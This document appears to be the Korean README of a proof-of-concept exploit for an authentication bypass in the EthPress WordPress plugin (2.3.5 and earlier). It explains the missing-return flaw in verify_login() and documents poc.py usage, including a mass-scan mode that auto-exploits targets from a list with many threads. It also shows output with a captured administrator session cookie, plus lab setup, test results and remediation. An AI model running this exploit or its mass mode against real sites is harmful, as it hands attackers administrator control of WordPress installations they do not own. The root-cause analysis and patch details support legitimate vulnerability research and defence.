
EthPress <= 2.3.5의 인증되지 않은 인증 우회를 악용하여 지갑 주소를 통해 WordPress 관리자 세션을 획득하는 검증된 개념 증명(proof-of-concept)입니다.
EthPress 지갑 로그인 인증 우회에 대한 작동하고 검증된 개념 증명으로, X-1 로컬호스트 랩에서 개발 및 검증되었습니다.
RAZZ, 사용자 id 1, roles=['administrator'])을 획득합니다.http://localhost:8080 — WordPress + MySQL (Docker, wp_app/wp_db)_plugin-reference/의 ethpress 2.3.6app/Login.php::verify_login() (v2.3.5)은 지갑 서명을 확인하고, 검사가 실패하면 WP_Error를 생성한 다음 — 반환하는 것을 잊어버립니다:
51 if ( !$verified ) {
52 $user = new \WP_Error('ethpress', $verify_error); // dead store, no return
53 }
54 // Log in. // fall-through
55 try {
...
70 $user = $address->log_in(); // wp_set_auth_cookie()
실행은 로그인 블록으로 계속 진행되고, Address::log_in()은 공격자가 제공한 지갑 주소를 소유한 WordPress 사용자로 해석하며, wp_set_auth_cookie()가 해당 사용자를 인증합니다. 응답은 {"success":true,"data":{"message":"Logged in"}}입니다.
# single target
python3 poc.py -u http://localhost:8080 -a 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a
# mass mode (file of targets, 20 threads, JSONL log)
python3 poc.py -f targets.txt -t 20 -o results.jsonl -a 0xVICTIMWALLET
# several candidate addresses against several targets
python3 poc.py -f targets.txt -af addresses.txt -t 20 -o results.jsonl
requests가 유일한 의존성입니다 (pip install requests). 모든 Ethereum 암호화 (Keccak-256, secp256k1, RFC 6979 서명, 주소 복구)는 표준 라이브러리만으로 poc.py 내부에 구현되어 있습니다.
[*] attacker wallet : fresh random key generated per attack
[*] targets=1 addresses=1 jobs=1 threads=1
[*] http://localhost:8080 EXPLOITED authentication cookie accepted by WordPress (full administrator confirmed)
[!] !! EXPLOITED http://localhost:8080 as user id=1 login=RAZZ roles=['administrator'] (primitive: valid-signature)
[!] !! session cookie: wordpress_logged_in_37d007a5...=RAZZ%7C1790339157%7C...
GET /wp-login.php를 실행하고 ethpressLoginWP.loginNonce를 읽습니다. 이는 익명(uid=0) 세션을 위해 발급된 wp_create_nonce('ethpress_log_in')이며, 따라서 공격자 자신의 인증되지 않은 AJAX 호출에 유효합니다.coinbase와 다릅니다. verify2()는 [false, error]를 반환하고 — 2.3.5는 이를 버립니다. (완전히 빈 서명도 작동합니다; poc.py는 자동으로 그것으로 폴백합니다.)/wp-admin/에 접근하고, 세션의 REST 논스를 스크래핑한 다음, /wp/v2/users/me?context=edit를 호출하여 → 실제 사용자 id, 로그인 및 역할을 얻습니다; 또한 관리자 전용 화면 4개에 대한 접근을 확인합니다.다음으로 재현:
bash lab-switch-version.sh 2.3.6 # patched -> exploit fails
bash lab-switch-version.sh 2.3.5 # vulnerable -> exploit succeeds
bash evidence/raw-repro.sh # tool-free curl transcript
python3 boundary-test.py # signature-input matrix
# plugin availability (official source only)
curl -s -o /dev/null -w '%{http_code}\n' https://wordpress.org/plugins/ethpress/ # 200
# vulnerable build installed and active
docker cp /tmp/plugin-src/ethpress/vulnerable-extracted/ethpress \
wp_app:/var/www/html/wp-content/plugins/ethpress
docker exec wp_app sh -c 'chown -R www-data:www-data /var/www/html/wp-content/plugins/ethpress \
&& find /var/www/html/wp-content/plugins/ethpress -type d -exec chmod 755 {} + \
&& find /var/www/html/wp-content/plugins/ethpress -type f -exec chmod 644 {} +'
docker exec wp_app wp plugin activate ethpress --allow-root # version 2.3.5
# precondition: admin (id=1 RAZZ) has a linked wallet address
docker exec wp_app wp user meta update 1 ethpress 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a --allow-root
wp user meta update는 플러그인 자체의 Address::create()가 쓰는 것과 정확히 동일한 저장 키(update_user_meta($uid, 'ethpress', $coinbase))를 쓰므로, 사전 조건은 합법적인 방식으로 프로비저닝됩니다 — 대상의 인위적 약화는 없습니다.
디핑을 위한 참조 빌드는 플러그인 디렉터리 외부에 있습니다: ../_plugin-reference/ethpress/{vulnerable,latest}.
Apache가 계속 실행되는 동안 플러그인 버전을 제자리에서 교체하면 OPcache에 이전 컴파일된 바이트코드가 남습니다. 그러면 PHP는 이전 버전의 파일을 계속 실행합니다; 2.3.6의 freemius/start.php:584가 freemius/require.php → includes/class-fs-hook-snapshot.php (2.3.6에만 존재하는 파일)를 요구하기 때문에, 디스크에 2.3.5가 있음에도 사이트가 HTTP 500을 반환했습니다. lab-switch-version.sh는 이제 매 전환 후 wp_app을 재시작하고 /wp-login.php가 200을 반환할 때까지 기다립니다. 항상 디스크상의 버전이 아니라 실행 중인 버전을 확인하세요.
| 코드 | 의미 |
|---|---|
0 | 최소 하나의 대상이 EXPLOITED됨 |
1 | 정상 실행, 익스플로잇된 대상 없음 |
2 | 잘못된 사용 — 입력 파일 누락/읽을 수 없음, 또는 지갑 주소가 주어지지 않음 |
-a는 반드시 올바르게 해야 하는 단 하나의 사항-a/--address는 대상 WordPress 계정에 이미 연결된 지갑 주소여야 합니다 — 즉 meta_key = 'ethpress'인 wp_usermeta 행입니다. PoC는 이를 추측할 수 없습니다: 주소는 어디에도 공개적으로 노출되지 않습니다.
docker exec wp_app wp user meta get 1 ethpress --allow-root
# -> 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a use THIS value
다른 주소를 전달하면 실행은 exploited 0 / 1로 끝납니다 — 하지만 우회 메커니즘 자체는 작동하고 있으며, 주소가 단순히 어떤 사용자로도 해석되지 않는 것입니다. 이제 PoC는 모든 비적중에 대해 명시적인 "왜 성공하지 못했는지" 블록과 힌트를 출력하므로, 더 이상 조용하지 않습니다.
CVE-2026-19125/
├── README.md this file
├── analysis.md root cause, patch, chain, reliability, remediation
├── intel.md advisory facts + verification-vs-advisory table
├── poc.py the exploit (self-contained crypto, -f -t -o)
├── patch.diff app/Login.php 2.3.5 -> 2.3.6
├── boundary-test.py signature-input boundary harness
├── lab-switch-version.sh swap lab between 2.3.5 / 2.3.6 (opcache-safe)
├── sink-verify-login.txt vulnerable source excerpt (verifier + sink)
├── ajax-actions.txt attack-surface: ethpress AJAX registrations
├── hooks.txt hook registrations (Plugin::attach_hooks)
├── results.jsonl exploitation record (2.3.5) <- success
├── results-patched.jsonl exploitation record (2.3.6 control) <- blocked
├── results-neg.jsonl negative control (unlinked address)
└── evidence/
├── raw-transcript.txt raw HTTP: nonce -> bypass -> cookie -> admin proof
├── raw-repro.sh regenerates the above
├── boundary-matrix.txt which signature inputs bypass / 500 / fail
├── run-positive.log PoC run on 2.3.5
├── run-patched-236.log PoC run on 2.3.6
└── results-registration-open.jsonl users_can_register=1 branch behaviour
EthPress를 2.3.6 이상으로 업그레이드하세요. 구성 우회 방법은 없습니다: 결함은 로그인 제어 흐름 자체에 있습니다. 즉시 업그레이드가 불가능한 경우, 플러그인의 지갑 로그인 (또는 플러그인)을 비활성화하고 권한 있는 계정의 ethpress 링크에 대해 wp_usermeta를 감사하세요.
격리된 로컬호스트 랩에서의 승인된 보안 연구 전용입니다. 소유하지 않았거나 테스트에 대한 서면 허가가 없는 시스템에 사용하지 마세요. 작성자: Poloss.
| 플래그 | 의미 |
|---|
-f, --file | 대량 스캔 + 자동 익스플로잇을 위한 대상 URL 파일 (한 줄에 하나, # 주석) |
-t, --threads | 동시 워커 스레드 (기본값 10) |
-o, --output | 출력/로그 경로, JSON Lines (기본값 cve-2026-19125-results.jsonl) |
-u, --url | 단일 대상 URL (반복 가능) |
-a, --address | WordPress 계정에 연결된 피해자 지갑 주소 |
-af, --address-file | 후보 지갑 주소 파일 |
-k, --private-key | 공격자 개인 키 hex (기본값: 공격마다 새 랜덤 키) |
--timeout | HTTP 타임아웃 초 (기본값 20) |
--verify-tls | TLS 인증서 검증 |
-q, --quiet | 대상별 진행 라인 억제 |
| 테스트 | 빌드 | 예상 | 관찰 | 산출물 |
|---|
| 양성 익스플로잇, 연결된 관리자 주소 | 2.3.5 | 탈취 | id=1 RAZZ roles=['administrator'], 4개 관리자 권한 모두 | results.jsonl, evidence/run-positive.log |
| 음성 대조, 연결되지 않은 주소 | 2.3.5 | 세션 없음 | "You have not registered on this site" | results-neg.jsonl |
| 패치된 대조, 두 프리미티브 모두 | 2.3.6 | 거부됨 | "Failed to verify signature. The address ... extracted ..." | results-patched.jsonl, evidence/run-patched-236.log |
| 도구 없이 raw curl 재현 | 2.3.5 | `Set-Cookie: ...=RAZZ | ...` | 확인됨 |
| 서명 입력 경계 매트릭스 | 2.3.5 | 혼합 | 2개의 결정적 프리미티브; 랜덤 블롭 ≈50/50 또는 HTTP 500 | evidence/boundary-matrix.txt |
users_can_register=1, 연결되지 않은 주소 | 2.3.5 | 새 구독자 세션 | 사용자 0xAAAA...가 역할 subscriber로 생성되고 로그인됨 (그 후 제거됨) | evidence/results-registration-open.jsonl |
| 증상 | 의미 | 해결 |
|---|
failed ... "You have not registered on this site; we cannot log you in" | 제공된 주소가 어떤 계정에도 연결되어 있지 않음 | wp user meta get <id> ethpress의 주소를 전달 |
failed ... "Failed to verify signature. The address ... extracted for address ..." | 대상이 PATCHED됨 (>= 2.3.6) | 예상된 대조 동작; lab-switch-version.sh로 2.3.5 재설치 |
not_vulnerable ... wp-login.php returned HTTP ... | EthPress 없음, 로그인 방법 비활성화됨, 또는 사이트 다운 | wp plugin list 확인 및 /wp-login.php가 200을 반환하는지 확인 |
unreachable ... ConnectionError | HTTP 도달 불가 | 호스트/포트 확인 |
cookie_issued_not_accepted | 쿠키가 발급되었지만 거부됨 | 논스가 만료됨 (5분 수명) — 재실행 |
| AJAX 호출에서 HTTP 500, 쿠키 없음 | 복구 불가능한 서명이 번들 암호화를 throw하게 함 | PoC는 결정적 프리미티브를 사용하여 이를 회피 |
디스크에 2.3.5가 있는데 wp-login.php가 500 반환 | 버전 교체 후 오래된 OPcache | docker restart wp_app (lab-switch-version.sh가 처리) |